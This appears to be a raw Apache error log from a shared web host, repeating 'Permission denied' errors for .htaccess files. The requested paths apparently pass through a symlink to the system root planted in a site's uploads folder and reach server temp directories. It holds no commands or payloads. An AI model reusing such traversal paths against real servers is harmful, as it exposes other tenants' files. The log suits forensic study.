[Fri Jul 17 09:19:46.929061 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php73-php-fpm.service-QLejul/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php73-php-fpm.service-QLejul/' is executable
[Fri Jul 17 09:19:46.929209 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-chronyd.service-QpUo0l/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-chronyd.service-QpUo0l/' is executable
[Fri Jul 17 09:19:46.929271 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php83-php-fpm.service-7XGQOI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php83-php-fpm.service-7XGQOI/' is executable
[Fri Jul 17 09:19:46.929337 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php83-php-fpm.service-k2s63S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f84fb8468ee34e928fd0758bfeea5066-ea-php83-php-fpm.service-k2s63S/' is executable
[Fri Jul 17 09:19:46.929401 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php83-php-fpm.service-5Bje5u/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php83-php-fpm.service-5Bje5u/' is executable
[Fri Jul 17 09:19:46.929496 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-cqfecgdo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-cqfecgdo/' is executable
[Fri Jul 17 09:19:46.929615 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/OLVHShlq2J/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/OLVHShlq2J/' is executable
[Fri Jul 17 09:19:46.929689 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php81-php-fpm.service-cYpC6f/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php81-php-fpm.service-cYpC6f/' is executable
[Fri Jul 17 09:19:46.929745 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php83-php-fpm.service-PYIoNR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-ea-php83-php-fpm.service-PYIoNR/' is executable
[Fri Jul 17 09:19:46.929813 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-pdns.service-k59xlS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-pdns.service-k59xlS/' is executable
[Fri Jul 17 09:19:46.929870 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php83-php-fpm.service-GUVHCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php83-php-fpm.service-GUVHCm/' is executable
[Fri Jul 17 09:19:46.929943 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php82-php-fpm.service-UHD360/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php82-php-fpm.service-UHD360/' is executable
[Fri Jul 17 09:19:46.929998 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php81-php-fpm.service-2w5mG4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php81-php-fpm.service-2w5mG4/' is executable
[Fri Jul 17 09:19:46.930072 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/FjDLoDmet8/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/FjDLoDmet8/' is executable
[Fri Jul 17 09:19:46.930182 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php81-php-fpm.service-21E01L/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php81-php-fpm.service-21E01L/' is executable
[Fri Jul 17 09:19:46.930275 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/uEtY_jbsDJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/uEtY_jbsDJ/' is executable
[Fri Jul 17 09:19:46.930336 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php83-php-fpm.service-kMXnpq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-66be35ff2f2f4da7a30108142203684e-ea-php83-php-fpm.service-kMXnpq/' is executable
[Fri Jul 17 09:19:46.930419 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php72-php-fpm.service-TDSS5R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-f79871f26e284d7fb8ff6f1ead73aacf-ea-php72-php-fpm.service-TDSS5R/' is executable
[Fri Jul 17 09:19:46.930493 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-pdns.service-4OGF3p/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-pdns.service-4OGF3p/' is executable
[Fri Jul 17 09:19:46.930621 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-mpzfn8zo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-mpzfn8zo/' is executable
[Fri Jul 17 09:19:46.930715 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php74-php-fpm.service-66OQ9A/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php74-php-fpm.service-66OQ9A/' is executable
[Fri Jul 17 09:19:46.930785 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php83-php-fpm.service-jA4Xzd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php83-php-fpm.service-jA4Xzd/' is executable
[Fri Jul 17 09:19:46.930842 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php81-php-fpm.service-Q4daSe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php81-php-fpm.service-Q4daSe/' is executable
[Fri Jul 17 09:19:46.930908 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jqy_5qo7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-jqy_5qo7/' is executable
[Fri Jul 17 09:19:46.930964 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php72-php-fpm.service-WBKpu1/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php72-php-fpm.service-WBKpu1/' is executable
[Fri Jul 17 09:19:46.931037 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-r6swuvzi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-r6swuvzi/' is executable
[Fri Jul 17 09:19:46.931131 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-35inqmd5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-35inqmd5/' is executable
[Fri Jul 17 09:19:46.931214 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-systemd-coredump@677-2510991-0.service-1UGuM9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-systemd-coredump@677-2510991-0.service-1UGuM9/' is executable
[Fri Jul 17 09:19:46.931273 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php74-php-fpm.service-p8QNvw/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-532d45816ecf4472816111a2fd2da01c-ea-php74-php-fpm.service-p8QNvw/' is executable
[Fri Jul 17 09:19:46.931337 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/15knWziWCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/15knWziWCQ/' is executable
[Fri Jul 17 09:19:46.931403 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ak4hwn21/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-ak4hwn21/' is executable
[Fri Jul 17 09:19:46.931469 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/U4cHu2Qelc/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/U4cHu2Qelc/' is executable
[Fri Jul 17 09:19:46.931530 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php81-php-fpm.service-i7FCGj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-5118ed36f3df49f887657ffa155ec3e0-ea-php81-php-fpm.service-i7FCGj/' is executable
[Fri Jul 17 09:19:46.931662 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php81-php-fpm.service-qoJCxv/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-8f17d2fbffd640038e72919b7d3cb1d1-ea-php81-php-fpm.service-qoJCxv/' is executable
[Fri Jul 17 09:19:46.931723 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bwfgc7gd/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-bwfgc7gd/' is executable
[Fri Jul 17 09:19:46.931786 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php72-php-fpm.service-hndffe/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php72-php-fpm.service-hndffe/' is executable
[Fri Jul 17 09:19:46.931843 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php83-php-fpm.service-Q803YU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-043936e1d48c482eb11d1ae6faf569f2-ea-php83-php-fpm.service-Q803YU/' is executable
[Fri Jul 17 09:19:46.931941 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php72-php-fpm.service-yTchlr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-ea-php72-php-fpm.service-yTchlr/' is executable
[Fri Jul 17 09:19:46.932002 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fjhbmf7r/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fjhbmf7r/' is executable
[Fri Jul 17 09:19:46.932104 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fvwn0cdi/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-fvwn0cdi/' is executable
[Fri Jul 17 09:19:46.932196 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-pdns.service-B9G17g/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-9233669364ca4619987f7db201f6b750-pdns.service-B9G17g/' is executable
[Fri Jul 17 09:19:46.932331 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gma2n1m3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/pymp-gma2n1m3/' is executable
[Fri Jul 17 09:19:46.932393 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-systemd-coredump@677-2510991-0.service-xBvLRz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-c3ce9b566f534e2cbbd4e6505c69659c-systemd-coredump@677-2510991-0.service-xBvLRz/' is executable
[Fri Jul 17 09:19:46.932458 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/UV_BfHGGUZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/UV_BfHGGUZ/' is executable
[Fri Jul 17 09:19:46.932523 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-pdns.service-kodUNF/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-ff0f9734a33f47e58c6cb3ca03353fb8-pdns.service-kodUNF/' is executable
[Fri Jul 17 09:19:46.932615 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MagowmRghk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/MagowmRghk/' is executable
[Fri Jul 17 09:19:46.932678 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php83-php-fpm.service-AMDgKk/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-2fa4c0b834c84bae8f5f1c472c353ab3-ea-php83-php-fpm.service-AMDgKk/' is executable
[Fri Jul 17 09:19:46.932744 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-KKQUFu/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/namespace-dev-KKQUFu/' is executable
[Fri Jul 17 09:19:46.932841 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/SLfbIFfgvo/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/SLfbIFfgvo/' is executable
[Fri Jul 17 09:19:46.932912 2026] [core:crit] [pid 2030804:tid 2030804] (13)Permission denied: [client 216.73.216.245:0] AH00529: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php81-php-fpm.service-0wJKro/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/proc/self/cwd/tmp/systemd-private-3fac18e279fa4e46ae0d20c2385ed9e8-ea-php81-php-fpm.service-0wJKro/' is executable
